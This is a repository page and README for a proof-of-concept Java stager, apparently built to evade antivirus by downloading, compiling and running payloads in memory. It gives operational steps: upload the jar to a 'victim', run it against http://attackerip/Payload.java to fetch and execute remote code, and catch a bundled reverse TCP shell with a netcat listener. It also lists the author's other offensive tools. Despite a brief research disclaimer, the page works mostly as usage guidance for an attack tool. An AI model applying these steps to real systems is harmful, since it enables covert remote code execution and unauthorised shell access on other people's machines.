• Stars
    star
    110
  • Rank 316,770 (Top 7 %)
  • Language
    Java
  • License
    Apache License 2.0
  • Created over 6 years ago
  • Updated about 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A PoC Java Stager which can download, compile, and execute a Java file in memory.

java-stager

A PoC Java Stager which can download, compile, and execute a Java file in memory.

This is for research purposes only, do not use this where you are unauthorised to do so.

What is this?

This is based on the work of James Williams from his talk "Next Gen AV vs My Shitty Code" available here:

https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be

The key parts of the talk for me are:

  • Load a Stager onto victim (touches disk, but is a benign binary)
  • Stager downloads raw code over HTTP (which stays in memory)
  • Stager compiles raw code (also in memory)
  • Stager then executes compiled code (also in memory)

His example is in .net, but in the talk he suggested that Java would be capable of the same techniques. I have implemented a raw PoC which I think matches the above techniques.

Working with it

  • Clone down the entire repository.
  • Open it in an IDE which can use maven (such as NetBeans)
  • The Stager, and the example payload are available in the "/src/main/java" folder.
  • Alter the Stager as you would like and compile the project. I was using "clean/build" in the default profile.

The output in NetBeans Included a line like this:

Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

To work on your victim you must upload the "JavaStager*.jar" file and the "lib" folder containing Janino from the "target" folder.

The following command will execute the stager:

java -jar JavaStager-0.1-initial.jar

You will be prompted with the usage as shown:

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

The "url" is the only parameter that is passed to Stager. An example usage would be:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

Your payload must be in a file called "Payload.java" and your exploit code must be in a static method called "Run". The following shows the template if you want to write your own:

public class Payload {
   public static void Run() {
      // Your code here
   }
}

I have provided an example Reverse TCP payload in the file "TCPReverseShell.java". To prevent name clashes this is not called "Payload.java" and the class name is wrong. The header comment in "TCPReverseShell.java" explains how to modify it to work.

You will need to host your "Payload.java" file on an HTTP server. You can use Apache if you want or simple HTTP/HTTPS services in Python2 and Python3 as per my blog:

https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/

The attacker will need to start a netcat listener to catch the connection back using the standard nc -lvp 8044 technique.

More Information

Blog Post explaining how it all works:

https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/

Video Showing how it worked in practice:

https://www.youtube.com/watch?v=-KkJVdSHPAc

More Repositories

1

JS2PDFInjector

Inject a JS file into a PDF file.
Java
211
star
2

socat-shell

Socat can be used to establish a reverse shell with bash tab completion and full shell functionality
Shell
137
star
3

ReportCompiler

A tool for importing vulnerability scanner data and then allowing you to manipulate the risks, affected hosts, and create risk ordered output.
Batchfile
79
star
4

cve-offline

An easy to grep dump of the NVD database showing only; CVE-ID, CVSS Risk Score, and Summary.
Python
52
star
5

rdpupload

Python script which will type a file into an RDP session. For when drag and drop and disk mounting is not possible
Python
31
star
6

nmap-summariser

another nmap summarising script
Python
26
star
7

gitshell

A PoC .net shell which uses a GitHub.com repository for the communication channel.
C#
13
star
8

iRecon

Of the thousands of lazy reconnaissance scripts, this one is by far the one in this repository.
Python
11
star
9

ReportCompilerSource

Source Code for ReportCompiler
Java
8
star
10

git-fingerprint

Enumerate information from a target using git
Python
7
star
11

teachingMoments

A collection of cyber security teaching materials.
PHP
7
star
12

git-version

Find out what version of a file you have access to
Python
5
star
13

BurpExtenderForge

An Extender for Burp Suite allowing you to quickly craft Extenders in Burp.
Java
3
star
14

metasploit-modules

A repo where I lob metasploit modules
Ruby
3
star
15

find-encoder

Scripts that help me find encoding mechanisms.
Python
3
star
16

DemoExtender

Code used for a tutorial to get Netbeans GUI editor to work with a Burp Suite Extender
Java
3
star
17

http-options

A dirty script to run HTTP OPTIONS against a list of directories
Python
2
star
18

rdp-enum

PowerShell script that enumerates RDP security settings
PowerShell
2
star
19

ReportCompilerWordMacroDemo

A demo showing a Macro enabled Word Template which can import XML file from ReportCompiler
1
star